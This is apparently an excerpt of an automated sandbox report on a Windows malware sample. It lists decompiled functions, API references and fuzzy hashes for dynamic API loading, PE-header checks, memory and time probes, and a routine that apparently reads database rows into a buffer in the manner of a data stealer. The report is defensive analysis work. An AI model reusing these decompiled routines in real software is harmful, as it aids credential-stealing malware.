lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(00787388,?), ref: 00407994
LoadLibraryA.KERNEL32(00785100), ref: 004079B2
GetProcAddress.KERNEL32(00000000,00787FC8), ref: 004079D7
GetProcAddress.KERNEL32(00000000,00788010), ref: 004079F0
GetProcAddress.KERNEL32(00000000,007881D8), ref: 00407A08
GetProcAddress.KERNEL32(00000000,00788028), ref: 00407A20
GetProcAddress.KERNEL32(00000000,00788298), ref: 00407A39
GetProcAddress.KERNEL32(00000000,007879B0), ref: 00407A51

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID:
API String ID: 570708976-0
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00577B50, Relevance: 18.1, APIs: 12, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0041A034,0041B488,0000FFFF), ref: 00577B7E
lstrcat.KERNEL32(?,0041B488), ref: 00577BAD
lstrcat.KERNEL32(?,004191E8), ref: 00577BBF
lstrcat.KERNEL32(?,00000000), ref: 00577BD0
SetEnvironmentVariableA.KERNEL32(0041A034,?), ref: 00577BE4
LoadLibraryA.KERNEL32(0041A6CC), ref: 00577C02
GetProcAddress.KERNEL32(0041A824,0041A2B0), ref: 00577C27
GetProcAddress.KERNEL32(0041A824,0041A628), ref: 00577C40
GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00577C58
GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00577C70
GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00577C89
GetProcAddress.KERNEL32(0041A824,0041A358), ref: 00577CA1

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID:
API String ID: 570708976-0
Opcode ID: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction ID: 7ca396fdd5d376b317dc1dea1ec20bd6161ef4314ddfcb1203ecb699960e5fd2
Opcode Fuzzy Hash: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction Fuzzy Hash: 94413CB5512204DFD715EFA8FD48AE53BF8BB0C345F04C57AB10982260C77999A2CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

PE, xrefs: 004118AA
(, xrefs: 004117FA

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00581970, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0058197E
GetFileSize.KERNEL32(00000000,00000000), ref: 00581A41
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00581A5E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00581A74
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00581A84
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00581A9A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00581AC3

Strings

(, xrefs: 00581A4A
PE, xrefs: 00581AFA

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: 476f264b54af80c9814919fc6ec98ec01ac65223d726a224f3c19ff3e1ef6f57
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 72812CB1D10608AFDB18DFD8D895BEEBBB9FF88301F148459E505AB284D7309A82CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x787058
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x787f50
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x7884d8
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x787f68
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x788398
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x788418
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x787f98
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x788198
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x788118
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(00787058,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,00787F50), ref: 0040708F
GetProcAddress.KERNEL32(00000000,007884D8), ref: 004070A7
GetProcAddress.KERNEL32(00000000,00787F68), ref: 004070BF
GetProcAddress.KERNEL32(00000000,00788398), ref: 004070D8
GetProcAddress.KERNEL32(00000000,00788418), ref: 004070F0
GetProcAddress.KERNEL32(00000000,00787F98), ref: 00407108
GetProcAddress.KERNEL32(00000000,00788198), ref: 00407121
GetProcAddress.KERNEL32(00000000,00788118), ref: 00407139

Strings

Xpx, xrefs: 00407063

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Xpx
API String ID: 2238633743-3960415970
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 005772B0, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Xpx,?,0057A971,?,005769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 005772B9
GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 005772DF
GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 005772F7
GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0057730F
GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00577328
GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00577340
GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00577358
GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00577371
GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00577389

Strings

Xpx, xrefs: 005772B3, 005772B8

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Xpx
API String ID: 2238633743-3960415970
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 56587a74a34e63461224e520b5f1228991000955e7eb2eb33f9c3ba0854a5875
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 80213EB56272009FC344EBB8ED889B637E9B74C315701C939E505C3260D6359462DF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00435C69, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7
_write_multi_char.LIBCMTD ref: 00435FEE
_write_string.LIBCMTD ref: 00436009
_write_multi_char.LIBCMTD ref: 00436035
_wctomb_s.LIBCMTD ref: 004360B2

Strings

9, xrefs: 00435EF8
-, xrefs: 00435F8E

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 2197463554-1631151375
Opcode ID: 22540a43e221228871bd89f81518f1cb40b214d9748d13550afec4460cfdcd8f
Instruction ID: 0268277e92a6445af9ecf5d8f741979361fdf704224b586dd6f9969a9cfd3b03
Opcode Fuzzy Hash: 22540a43e221228871bd89f81518f1cb40b214d9748d13550afec4460cfdcd8f
Instruction Fuzzy Hash: 87F137B1D056299FDB24CF58CC89BEEB7B1BB48304F1491DAE419A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043D07B, Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302
_write_multi_char.LIBCMTD ref: 0043D41B
_write_string.LIBCMTD ref: 0043D436
_write_multi_char.LIBCMTD ref: 0043D462
__mbtowc_l.LIBCMTD ref: 0043D4D1

Strings

9, xrefs: 0043D313

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 850363499-2366072709
Opcode ID: 04cdabcf287824ada3b21e591cd19f6fe4aefa08062c71b351e49c73164c5241
Instruction ID: deb88ce59f4257985fd57ecec794fe4b33aed45866eec360a80de3141b7b1a80
Opcode Fuzzy Hash: 04cdabcf287824ada3b21e591cd19f6fe4aefa08062c71b351e49c73164c5241
Instruction Fuzzy Hash: 56F12AF1E002299FDF24CF58DC81BAEB7B5BB89304F14519AE609A7241D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

%d MB, xrefs: 0040B073
@, xrefs: 0040B02B

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 0057B250, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B25D
RtlAllocateHeap.NTDLL(00000000), ref: 0057B264
memset.NTDLL ref: 0057B275
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0057B286
__aulldiv.LIBCMT ref: 0057B2A0
wsprintfA.USER32 ref: 0057B2CC

Strings

([W, xrefs: 0057B2C8, 0057B2D5, 0057B2CB
@, xrefs: 0057B27B

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: ([W$@
API String ID: 3391354518-3310912376
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: 2ced058f2e0d2b284e8859d3bd3ece4e00c8a05f8d6565b7d7cb0444d68a0ff5
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: C30100B1D41208ABDB00DFE4DD49BEEB7B8FF44701F108958F615A7280D7B599118B95

Uniqueness

Uniqueness Score: -1.00%

Function 00581770, Relevance: 13.6, APIs: 9, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00582CEA,?), ref: 00581778
StrCmpCA.SHLWAPI(?,00419340,?,00582CEA,?), ref: 005817C5
StrCmpCA.SHLWAPI(?,00419344,?,00582CEA,?), ref: 005817DF
StrCmpCA.SHLWAPI(?,0041934C,?,00582CEA,?), ref: 005817F9

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d589e435c3a3c35b71b850c8d22f4d19d8c6d8cfe8914af6d2bb2711fd59a777
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: 6E316E39A04608EBCB00EFB1D945AAE7FACBE197407208859ED16B7640D734DE42EF58

Uniqueness

Uniqueness Score: -1.00%

Function 004359C7, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 004359D9
_write_multi_char.LIBCMTD ref: 00435FEE
_write_string.LIBCMTD ref: 00436009
_write_multi_char.LIBCMTD ref: 00436035
_wctomb_s.LIBCMTD ref: 004360B2

Strings

-, xrefs: 00435F8E

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 3263840866-2547889144
Opcode ID: 81e5bed6dd85ffebbc8d55095f4ca1e50432325b7ab11abb84a3f30d63460b1b
Instruction ID: a8b8f357aa7a6630ce1e211b1260c09d7ab94f659ab4a144c6ad8838ab25bcf3
Opcode Fuzzy Hash: 81e5bed6dd85ffebbc8d55095f4ca1e50432325b7ab11abb84a3f30d63460b1b
Instruction Fuzzy Hash: 3DA1AFB0D016299BDF24DF54CC89BEEB7B0AB48304F2491DAE5197B281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435815, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 00435FEE
_write_string.LIBCMTD ref: 00436009
_write_multi_char.LIBCMTD ref: 00436035
_wctomb_s.LIBCMTD ref: 004360B2

Strings

-, xrefs: 00435F8E
xD@, xrefs: 0043583C

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: _write_multi_char$_wctomb_s_write_string
String ID: -$xD@
API String ID: 1811813154-1745409720
Opcode ID: 036fac203b307a2574c6799a5b60b093fea135462776d218bb9be15f9bb35352
Instruction ID: 8e6b7f86714aefc4f2355d22d061a0f622bb108fa242e70a0a8807636438f28f
Opcode Fuzzy Hash: 036fac203b307a2574c6799a5b60b093fea135462776d218bb9be15f9bb35352
Instruction Fuzzy Hash: 4FA19BB0D016299FDF24DF54CC89BEEB7B0AB48305F1491DAE4196B281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00576B40, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75timestringCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00576BC1
lstrcat.KERNEL32(?,`Qx), ref: 00576BD5
sscanf.NTDLL ref: 00576C13
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00576C27
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00576C38
ExitProcess.KERNEL32 ref: 00576C52

Strings

`Qx, xrefs: 00576BC7, 00576BCD

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: `Qx
API String ID: 2797641603-1256752937
Opcode ID: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction ID: ca8f9fceb9d7ef6e27341c20ced59a284a7126da69a1809779db2138a5ec183e
Opcode Fuzzy Hash: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction Fuzzy Hash: 9131EEB2D1121CABCB58DF94DD85ADEB7B9AF48300F00C5EAE149A2150EB345B98CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x788258
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x7826b0
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Memory Dump Source

